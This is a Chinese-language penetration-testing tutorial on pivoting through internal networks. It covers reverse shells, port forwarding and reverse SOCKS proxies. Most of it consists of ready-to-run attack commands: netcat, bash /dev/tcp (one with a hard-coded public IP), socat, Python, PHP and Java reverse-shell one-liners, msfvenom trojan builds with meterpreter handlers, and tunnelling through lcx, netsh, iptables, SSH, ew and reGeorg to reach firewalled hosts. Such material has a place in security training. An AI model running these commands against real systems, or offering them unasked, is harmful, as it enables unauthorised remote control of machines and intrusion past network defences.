转发目的
渗透测试中,我们往往会面对十分复杂的内网环境,比如最常见的防火墙,它会限制特定端口的数据包出入,此时就需要内网转发
转发情景
1.A可以访问B的80端口,但是不能访问B的3389端口。
2.A可以访问B,B可以访问C,但是A不可以访问C,需要通过B转发数据,让A和C进行通信。
代理方式
正向代理:
正向代理是服务器开放端口,客户端主动访问服务器的端口
我们常说的代理就是指正向代理,正向代理的过程,它隐藏了真实的请求客户端,服务端不知道真实的客户端是谁,客户端请求的服务都被代理服务器代替来请求。
举个例子在国内用浏览器访问 www.google.com 时,因为防火墙的原因拒绝连接,这时候你可以在国外搭建一台代理服务器,让代理帮你去请求google.com,代理把请求返回的相应结构再返回给你。
反向代理:
反向代理是客户端开发端口,服务器连接客户端
反向代理是相对于服务器而言的,当我们请求 www.baidu.com 的时候,背后可能有成千上万台服务器为我们服务,但具体是哪一台,不需要知道,你只需要知道反向代理服务器是谁就好了,www.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去,比如说负载均衡。
内网转发形式
1.反弹shell:在攻击者机器,获取受害者机器的命令行
2.反弹端口:受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发
3.反弹代理:将攻击者的流量转发到内网其他服务器上
反弹shell
1.工具nc使用
条件:能够访问到受害者机器的开放端口
方式:tcp 连接是外网攻击机发起的,连接被控服务器
步骤一:将被控服务器shell反弹到本地的4444端口,并监听4444端口(受害机输入)
nc -lvp 4444 -e cmd.exe (反弹windows shell)
nc -lvp 4444 -e /bin/bash (反弹linux shell)
此处以windows为例:
步骤二:攻击机连接被控服务器的4444端口(攻击机输入)
nc -vv 受害机ip 4444
1.2利用nc反弹shell
条件:防火墙开启,不允许访问目标端口(可直接关闭目标机防火墙,权限不够时利用nc反向连接)
方式:tcp连接是被控服务器发起,连接外网攻击机
步骤一:外网服务器监听4444端口
(攻击机输入)
nc -lvp 4444
步骤二:在被控服务器反弹shell到外网服务器的4444端口
(受害机输入)
nc -e cmd.exe 攻击机ip 4444(反弹windows shell)
nc -e /bin/bash 攻击机ip 4444(反弹linux shell)
此处以windows为例:
2.工具msf使用
2.1 msfconsole
作用:管理生成exp,管理反弹的shell,通过反弹的shell进行后渗透。。。
模块介绍:
exploits:攻击脚本
payloads:攻击载荷(攻击效果控制)
auxiliaru:辅助模块(扫描工具等)
post:后渗透模块(提取信息)
encoders编码模块
nops:无操作生成器
2.2 msfvenom
作用:制作木马
2.3 msfencode
作用:对木马进行编码
2.4 msf使用:
3. 其他Linux反弹shell方法
方式:
利用系统自带的bash和gawk
利用脚本:python、perl、ruby、lua、php、jsp、aspx
利用第三方服务或工具:elnet、xterm、socat、nc
例:
3.1.1 nc发送shell
发送端(公网服务器):
nc -lvvp 6666 -e /bin/bash
接收端:
nc 发送端ip 发送端攻击者ip
3.1.2 nc反弹shell
接收端:
nc -lvvp 6666
发送端(内网网服务器):
nc 接收端ip 接收端端口 -e /bin/bash
3.2 bash反弹
接收端(hackip,公网):
nc -lvvp 端口
发送端(受害者):
bash -i >& /dev/tcp/111.230.170.95/9985 0>&1
或者发送端(受害者):
0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31
3.3.1 socat反弹(tcp)
接收端(攻击机):
./socat TCP-LISTEN:端口
发送端(靶机):
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
3.3.2 socat反弹(udp)
接收端:
nc -lvvp 8080
发送端:
socat udp-connect:攻击者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &
3.4 python反弹
接收端(攻击机,外网):
nc -lvvp 端口
发送端(靶机):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3.5 PHP反弹
接收端:
nc -lvvp 端口
发送端:
php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'
3.6 JAVA反弹
接收端:
nc -lvvp 端口
发送端:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
反弹端口(此处以3389为例)
条件
1.访问服务器的3389端口时,由于一些原因无法访问
原因:1.3389端口,防火墙没有开放 2.服务器处于公司内网,对外只发布了80端口 3.3389端口只允许内网连接.................
2.服务器处于公司内网,我们没有办法直接访问服务器
3.服务器处于公司内网,且无法与外网服务器直接通信,无法反弹shell
lcx工具使用
Lcx简要使用介绍
三种模式
listen:监听,同时监听两个端口:第一个是服务器开放的,第二个是在本地新开一个用来操作的
tran:转发,将一个端口的流量转发到另一个端口
slave: 将一个外网端口和一个内网端口进行连接
先将lcx上传到目标服务器(有时还需要上传到内网边界机),之后再从以下几种转发方式进行选择
LCX正向端口转发
环境:3389端口不对外开放,但是1234端口对外开放
作用:
一般对外的服务器,80,8080,53,21等等,3389端口没有对外开放,但是有其他端口对外开放,此时可以本地端口转发,转发的端口必须没有被其他服务占用
基本:(防火墙允许3389流量通过)
1.被控服务器输入命令将3389端口转发到本地(被控服务器)的1234端口(本地端口转发)
lcx -tran 1234 127.0.0.1 3389
2.攻击机连接被控服务器的1234端口(mstsc远程)
进阶:(防火墙不允许3389端口流量通过)
使用reduh来进行转发:
思路:Mstsc客户端–>reDuh 代理–>HTTP tunne–>Web 服务器–>3389
LCX反向端口转发
1.攻击机开启监听
lcx -listen 4444 12345
2.被控服务器输入命令,将端口转发到攻击机
lcx.exe -slave 攻击机IP 端口 被控服务器IP 端口
3. 攻击机连接本地的12345端口(mstsc远程,127.0.0.1:12345)
lcx多级级联反弹内网主机端口
网络配置情况
内网边界机2有两个网卡,一个与攻击机1同网段,一个与目标服务器3同网段(攻击机1的ip:192.168.0.106,内网边界机2的ip:192.168.16.129和10.1.1.1,目标服务器3的ip:10.1.1.2)此时1-2,2-3通,1-3不通
情况一
环境:目标服务器3不能访问外网攻击机1,但是可以访问同网段的内网边界机2,同时目标服务器3的3389端口只能内网边界机2访问
1.攻击机1开启监听
lcx -listen 4444 12345
2.内网边界机2输入命令,将端口转发到攻击机1
lcx.exe -slave 攻击机1IP 端口 目标服务器3IP 端口
3.在攻击机1连接本地12345端口(mstsc远程,127.0.0.1:12345)
情况二
环境:目标服务器3不能访问外网攻击机1,但是可以访问同网段的内网边界机2,同时3389端口只能本地访问,但是8080端口对外开放。
1.目标服务器3输入命令将3389端口转发到本地的8080端口
lcx -tran 8080 127.0.0.1 3389
2.在内网边界机2输入命令,将目标服务器3的8080端口转发到攻击机1
lcx -slave 攻击机1IP 端口 目标服务器3IP 端口
3.在攻击机1上监听端口
lcx –listen 4444 12345
4.外网攻击机1连接本地12345端口(mstsc远程,127.0.0.1:12345)
利用netsh(windows防火墙)
条件:
要求至少管理员权限,此工具适用于,有一台双网卡服务器(内网边缘机),你可以通过它进行内网通信,比如连接192.168.206.101:3388端口是连接到192.168.206.100上面的3389,以下操作都是在边缘机进行
1.边缘机添加转发规则
netsh interface portproxy set v4tov4 listenaddress=外网可访问地址(服务器外网ip) listenport=外网可访问端口 connectaddress=内网目标想要访问的地址(内网同网段其他机或本机ip都可) connectport=内网目标想要访问的端口
边缘机放行防火墙端口
netsh advfirewall firewall add rule name="mysql" dir=in protocol=tcp localport=要放行的端口 action=allow
3.边缘机删除转发规则
netsh interface portproxy delete v4tov4 listenport=外网可访问端口 listenaddress=外网可访问地址(服务器外网ip)
4.边缘机查看现有规则
netsh interface portproxy show all
5.之后直接访问边缘机2222端口
http隧道tunna端口转发
tunna基本使用:-s不能中断 -v显示详细信息 -u指定地址 -a指定远程地址
1.上传tunna里的webshell到边缘服务器
2.在攻击机输入命令,将目标服务器3389转发到本地(攻击机)1234
python proxy.py -u http://192.168.16.141/conn.aspx(webshell上传路径) -l 1234 -a 内网目标服务器ip -r 3389 -s -v
3.直接访问本机的1234端口
利用 iptables(linux防火墙)
1.编辑配置文件
/etc/sysctl.conf的net.ipv4.ip_forward = 1
2.关闭服务
service iptables stop
3.配置规则
iptables -t nat -A PREROUTING --dst 内网边界服务器ip -p tcp --dport 3389 -j DNAT --to-destination 需要访问的内网地址ip:3389
iptables -t nat -A POSTROUTING --dst 需要访问的内网地址ip -p tcp --dport 3389 -j SNAT --to-source 内网边界服务器ip
4.保存&&重启服务
service iptables save && service iptables start
ssh隧道端口转发
基本使用:-L 本地 -R 远程
本地转发(正向代理)
1.攻击机输入命令,之后输密码(对应用户)
ssh -CfNg -L 转发后的端口:目标服务器ip:转发的端口 边缘服务器用户@边缘服务器ip
2.攻击机连接本地的4444端口就连接到了目标服务器的3389端口
rdesktop 127.0.0.1:4444
远程转发(反向代理)
1.边缘服务器输入命令,之后输密码(对应用户)
ssh -CfNg -R 转发后的端口:目标服务器ip:转发的端口 攻击机用户@攻击机ip
2.此时攻击机3333端口开启,直接连接本机的3333端口
rdesktop 127.0.0.1:3333
动态隧道(转发所有流量)
1.攻击机输入命令,之后输密码(对应用户)
ssh -CfNg -D 本地开放端口 边缘服务器用户@边缘服务器ip
2.攻击机火狐浏览器网络设置里的连接设为访问流量走7000端口隧道(或者直接bp设置代理),之后直接访问基本的一些端口都可以访问
反弹shell与反弹端口结合使用
网络配置情况
内网边界机2有两个网卡,一个与攻击机1同网段,一个与目标服务器3同网段(攻击机1的ip:192.168.16.130,内网边界机2的ip:192.168.16.129和10.1.1.1,目标服务器3的ip:10.1.1.2)此时1-2,2-3通,1-3不通
环境
有时我们无法直接访问目标服务器,也就无法反弹shell,此时就需要一个内网的边缘机来进行转发端口,通过这个转发的端口再进行反弹shell
使用方法
1.攻击机输入msfconsole打开msf(msf具体使用见上面链接),选择合适的payload:windows/meterpreter/reverse_tcp
2.选择此payload,并制作对应的木马
选择payload:
use windows/meterpreter/reverse_tcp
制作木马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.1.1.1(内网边界机2的内网ip) lport=12345(端口) -o 111.exe
3.上传111.exe到目标服务器3
4.攻击机1开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.16.130(本机ip)
exploit
5.内网边界机2输入命令将12345端口转发到攻击机1的4444端口
lcx -tran 12345 192.168.16.130 4444
6.目标服务器3运行111.exe将1234端口发送到内网边界机2,再由内网边界机2将1234端口转发成4444端口发送给攻击机1,攻击机1就会接收到目标服务器3的shell
反弹代理
介绍
内网渗透不光只是反弹一个shell,反弹一个端口,我们更需要对内网进行更深一步的扫描和渗透,这时候就需要设置找到一个代理服务器,充当外网和内网数据转发的节点母的,所以出现了反弹代理,也叫反弹socket,进行反弹代理后,就可以访问目标机的所有端口了
工具ew
正向代理
攻击机为windows
1.选择合适的ew文件,上传到边缘服务器
2.边缘服务器输入
ew.exe -s ssocksd -l 8000
3.攻击机使用bp的optional添加代理(socks5,ip为边缘服务器ip,8000端口),之后直接访问目标服务器基本的一些端口都可以访问
4.此时3389仍然不行,可借助proxifier工具配置攻击机整台机器的代理(proxifier添加代理服务器,ip为边缘服务器ip,8000端口)
5.之后直接访问目标服务器任意端口即可
攻击机为Linux
1.选择合适的ew文件,上传到边缘服务器
2.边缘服务器输入
ew.exe -s ssocksd -l 8000
3.攻击机火狐浏览器网络设置里的连接设为访问流量走8000端口代理(或者直接bp设置代理),之后直接访问目标服务器基本的一些端口都可以访问
4.此时攻击机3389仍然不能访问,可借助proxychains(kali自带)配置攻击机整台机器的代理
4.1 输入gedit /etc/proxychains.conf,按里面的说明进行设置
4.2.输入以下命令即可通过代理访问
proxychains 命令(rdesktop 10.1.1.2)
反向代理
1.攻击机运行以下命令,将8888端口转发到1080端口
ew -s rcsocks -l 1080 -e 8888
2.在目标服务器上启动SOCKS v5服务,并反弹到攻击机的8888端口
ew.exe -s rssocks -d 攻击机ip -e 8888
3.攻击机借助proxifier工具配置攻击机整台机器的代理(proxifier添加代理服务器,ip为攻击机ip,1080端口)
4.之后直接访问目标服务器任意端口即可
进阶(内网两层边缘服务器)
情况:
外网与内网存在边界机,内网里分为两个区域,内网区域与dmz区域之间也存在边界机,此时需要两台边界机代理两次
网络配置:
攻击机192.169.0.106,内网边界机1ip:192.168.16.1和10.1.1.1,内网dmz边界机2ip:10.1.1.2和172.1.1.1,dmz区目标服务器ip:172.1.1.2
ew转发(正向)
1.内网dmz边界机2输入命令,开启端口监听
ew -s ssocksd -l 1234
2.内网边界机1输入命令,将攻击机的1080端口转发到内网dmz边界机2的1234端口
ew -s lcx_tran -l 1080 -f 内网dmz边界机2ip -g 1234
3.攻击机借助proxifier工具配置攻击机整台机器的代理(proxifier添加代理服务器,ip为内网边界机1ip,1080端口)
4.之后直接访问目标服务器任意端口即可
ew转发(反向)
1.攻击机输入命令,开启端口监听
ew -s lcx_listen -l 1080 -e 5678
2.内网dmz边界机2输入命令,将2345端口进行转发
ew -s ssocksd -l 2345
3.内网边界机1输入命令,将内网dmz边界机2的2345端口转发到攻击机5678端口
ew -s lcx_slave -d 攻击机ip -e 5678 -f 内网dmz边界机2ip -g 2345
4.攻击机借助proxifier工具配置攻击机整台机器的代理(proxifier添加代理服务器,ip为本机ip,1080端口)
5.之后直接访问目标服务器任意端口即可
工具reGeorg(http隧道)
1.上传reGeorg里合适的tunnel到边缘服务器
2.攻击机输入命令
python reGeorgSocksProxy.py -u http://192.168.16.129/tunnel.aspx(上传地址)
3.攻击机输入gedit /etc/proxychains.conf ,按里面的说明进行设置proxychains
socks5 127.0.0.1 8888
4.使用proxychains直接代理连接目标服务器即可
proxychains rdesktop 10.1.1.2(本机ip)
工具msf
1.选择合适的payload并制作木马,之后将木马上传到边缘服务器
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.16.130(本机ip) lport=4444 -f exe -o 123.exe
2.攻击机配置监听此payload
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.16.130(本机ip)
exploit
3.运行边缘服务器的木马,攻击机就收到一个meterpreter(sessions)
4.攻击机输入background将此sessions放到后台运行
5.攻击机输入命令,给边缘服务器添加路由
route add 10.1.1.1 255.0.0.0(边缘服务器的内网ip与子网掩码) 1
6.利用此路由生成代理端口1080
use auxiliary/server/socks4a
exploit -y -y(后台执行)
7.攻击机输入gedit /etc/proxychains.conf ,按里面的说明进行设置proxychains
socks4 127.0.0.1 1080
8.使用proxychains直接代理连接目标服务器即可
proxychains rdesktop 10.1.1.2